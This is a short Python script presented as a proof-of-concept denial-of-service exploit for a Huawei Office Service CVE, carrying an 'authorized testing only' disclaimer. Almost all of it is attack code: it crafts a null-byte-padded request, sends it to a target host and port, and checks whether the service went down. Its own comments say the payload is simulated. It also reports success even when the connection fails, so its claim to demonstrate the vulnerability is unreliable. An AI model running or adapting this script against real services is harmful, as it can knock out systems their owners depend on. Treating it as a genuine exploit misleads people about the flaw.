The following code is for security research and authorized testing only.
python
# CVE-2025-58290 PoC - Huawei Office Service DoS Vulnerability
# This is a conceptual PoC demonstrating the denial of service attack pattern
# against Huawei Office Service. Actual exploitation requires local access
# and user interaction.
import socket
import time
import struct
class HuaweiOfficeDoS:
"""
Conceptual PoC for CVE-2025-58290
Huawei Office Service Denial of Service Vulnerability
"""
def __init__(self, target_host="127.0.0.1", target_port=8080):
self.target_host = target_host
self.target_port = target_port
self.payload = None
def craft_malicious_request(self):
"""
Craft a malicious request that triggers the DoS condition
in the office service component.
"""
# Simulated malformed office document request
# The actual payload would target specific parsing logic
# in the office service that causes resource exhaustion
header = b"OFFICE/1.0"
# Crafted payload to trigger exception handling path
payload = b"\x00" * 4096 # Null byte overflow attempt
malformed_doc = b"<office:document>" + payload + b"</office:document>"
return header + b"\r\n" + malformed_doc
def trigger_dos(self):
"""
Send the malicious request to trigger the DoS condition.
Requires local access and user interaction to execute.
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((self.target_host, self.target_port))
malicious_request = self.craft_malicious_request()
sock.send(malicious_request)
# Wait for service to enter unresponsive state
time.sleep(2)
# Attempt to verify service availability
sock.close()
return True
except Exception as e:
print(f"[*] Service appears unresponsive: {e}")
return True
def verify_service_down(self):
"""
Verify that the office service is no longer responding.
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect((self.target_host, self.target_port))
sock.close()
return False # Service still up
except socket.timeout:
return True # Service is down
except ConnectionRefusedError:
return True # Service is down
if __name__ == "__main__":
print("[*] CVE-2025-58290 PoC - Huawei Office Service DoS")
print("[*] WARNING: For authorized testing only\n")
exploit = HuaweiOfficeDoS()
print("[*] Sending malicious request...")
exploit.trigger_dos()
print("[*] Checking service status...")
if exploit.verify_service_down():
print("[+] Service appears to be in DoS state")
else:
print("[-] Service is still responsive")